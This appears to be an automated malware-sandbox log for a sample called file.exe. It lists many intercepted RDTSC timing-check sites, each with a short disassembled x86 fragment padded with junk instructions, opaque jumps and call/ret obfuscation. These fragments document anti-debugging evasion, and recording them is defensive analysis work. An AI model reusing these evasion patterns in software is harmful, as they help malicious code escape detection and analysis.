Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F339F second address: 5F33AE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jng 00007F4F7D4AED16h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F33AE second address: 5F33B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F3500 second address: 5F350E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F4F7D4AED16h 0x0000000a popad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F350E second address: 5F3514 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F3514 second address: 5F3521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F4F7D4AED16h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F3521 second address: 5F352F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7C81207Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F352F second address: 5F3570 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F4F7D4AED21h 0x0000000f jbe 00007F4F7D4AED16h 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007F4F7D4AED25h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jne 00007F4F7D4AED16h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F3570 second address: 5F3574 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F3574 second address: 5F357A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F357A second address: 5F3580 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 592A21 second address: 592A2B instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4F7D4AED16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 592A2B second address: 592A76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4F7C812086h 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b jc 00007F4F7C81207Ch 0x00000011 jc 00007F4F7C812076h 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push edx 0x0000001c push edx 0x0000001d pop edx 0x0000001e jmp 00007F4F7C812083h 0x00000023 pop edx 0x00000024 jnc 00007F4F7C812078h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 592A76 second address: 592A7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FC547 second address: 5FC555 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [eax] 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FC555 second address: 5FC57C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7D4AED24h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jg 00007F4F7D4AED18h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FC653 second address: 5FC658 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5851EB second address: 58520F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4F7D4AED25h 0x00000009 jmp 00007F4F7D4AED1Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6021EB second address: 6021F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6021F4 second address: 602212 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7D4AED28h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602B31 second address: 602B51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4F7C812084h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602F17 second address: 602F20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602F20 second address: 602F45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push esi 0x00000006 jmp 00007F4F7C812089h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6031F5 second address: 6031FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6031FB second address: 603201 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 603201 second address: 60321F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7D4AED24h 0x00000007 jc 00007F4F7D4AED1Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608A9A second address: 608AA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D00A2 second address: 5D00A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D00A7 second address: 5D00AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D00AC second address: 5D00C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F4F7D4AED16h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 push edi 0x00000012 pop edi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D00C0 second address: 5D013F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F4F7C812087h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F4F7C812078h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 sub ecx, dword ptr [ebp+122D38CFh] 0x0000002c lea eax, dword ptr [ebp+12483E29h] 0x00000032 push 00000000h 0x00000034 push edx 0x00000035 call 00007F4F7C812078h 0x0000003a pop edx 0x0000003b mov dword ptr [esp+04h], edx 0x0000003f add dword ptr [esp+04h], 00000015h 0x00000047 inc edx 0x00000048 push edx 0x00000049 ret 0x0000004a pop edx 0x0000004b ret 0x0000004c mov di, 9097h 0x00000050 nop 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007F4F7C81207Eh 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D013F second address: 5D0145 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D0145 second address: 5D0157 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jp 00007F4F7C81207Eh 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D0157 second address: 5B7C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 nop 0x00000006 mov ecx, 0C5EAEA1h 0x0000000b call dword ptr [ebp+1245436Fh] 0x00000011 jmp 00007F4F7D4AED27h 0x00000016 pushad 0x00000017 pushad 0x00000018 jl 00007F4F7D4AED16h 0x0000001e je 00007F4F7D4AED16h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D036D second address: 5D0373 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D07B7 second address: 5D0815 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7D4AED29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 4934A000h 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007F4F7D4AED18h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 00000018h 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a sbb edi, 3F0658A7h 0x00000030 or dword ptr [ebp+122D368Fh], esi 0x00000036 push 15FB5B24h 0x0000003b push edx 0x0000003c jnp 00007F4F7D4AED1Ch 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D08B2 second address: 5D08B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D0955 second address: 5D095F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F4F7D4AED16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D0D80 second address: 5D0D95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F7C812080h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1458 second address: 5D14B0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F4F7D4AED18h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 sub dword ptr [ebp+122D190Ch], esi 0x0000002a push edx 0x0000002b mov edi, dword ptr [ebp+122D36E7h] 0x00000031 pop edi 0x00000032 lea eax, dword ptr [ebp+12483E6Dh] 0x00000038 mov cx, di 0x0000003b nop 0x0000003c jnp 00007F4F7D4AED2Dh 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F4F7D4AED1Fh 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D14B0 second address: 5D14C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jl 00007F4F7C812076h 0x00000010 je 00007F4F7C812076h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D14C7 second address: 5D14CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607D2D second address: 607D33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608037 second address: 60803C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60803C second address: 608044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608044 second address: 608062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4F7D4AED1Dh 0x00000010 jc 00007F4F7D4AED16h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608062 second address: 60806A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608313 second address: 608318 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E7B6 second address: 60E7BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E7BF second address: 60E7C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E7C5 second address: 60E7C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E7C9 second address: 60E7CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E7CF second address: 60E80B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4F7C812083h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F4F7C812086h 0x00000014 jmp 00007F4F7C812080h 0x00000019 push ebx 0x0000001a je 00007F4F7C812076h 0x00000020 push ebx 0x00000021 pop ebx 0x00000022 pop ebx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D4EE second address: 60D4F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D4F2 second address: 60D50F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7C812080h 0x00000007 jg 00007F4F7C812076h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D67A second address: 60D680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D680 second address: 60D684 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D7F7 second address: 60D80C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F4F7D4AED1Dh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DC00 second address: 60DC04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DC04 second address: 60DC0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DC0A second address: 60DC30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7C81207Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4F7C812086h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DC30 second address: 60DC35 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DF05 second address: 60DF14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F7C81207Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DF14 second address: 60DF1E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4F7D4AED16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DF1E second address: 60DF34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7C812081h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E4E7 second address: 60E4EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E4EB second address: 60E4EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E4EF second address: 60E4F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61AA19 second address: 61AA1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61AA1D second address: 61AA23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61AA23 second address: 61AA39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4F7C81207Bh 0x00000008 jng 00007F4F7C812076h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61AA39 second address: 61AA49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007F4F7D4AED16h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581C67 second address: 581CA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4F7C812080h 0x00000008 jmp 00007F4F7C812084h 0x0000000d jmp 00007F4F7C812085h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581CA8 second address: 581CAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581CAC second address: 581CB6 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4F7C812076h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619854 second address: 61985F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F4F7D4AED16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6199C9 second address: 6199CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619B56 second address: 619B5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619B5A second address: 619B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F7C812080h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d jo 00007F4F7C812082h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619B7A second address: 619B93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F4F7D4AED16h 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F4F7D4AED1Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619B93 second address: 619B9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619E7C second address: 619E80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A03E second address: 61A062 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7C81207Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F4F7C812082h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A062 second address: 61A07A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4F7D4AED22h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6191A6 second address: 6191BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4F7C81207Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6191BB second address: 6191BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E07E second address: 61E083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E083 second address: 61E093 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007F4F7D4AED16h 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E093 second address: 61E097 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61DC41 second address: 61DC47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61DC47 second address: 61DC73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jbe 00007F4F7C812076h 0x0000000c pop ecx 0x0000000d popad 0x0000000e jbe 00007F4F7C812098h 0x00000014 jmp 00007F4F7C812080h 0x00000019 jbe 00007F4F7C812082h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621290 second address: 621294 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621294 second address: 62129A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620CD4 second address: 620CDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F4F7D4AED16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620CDE second address: 620CE8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620CE8 second address: 620CEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
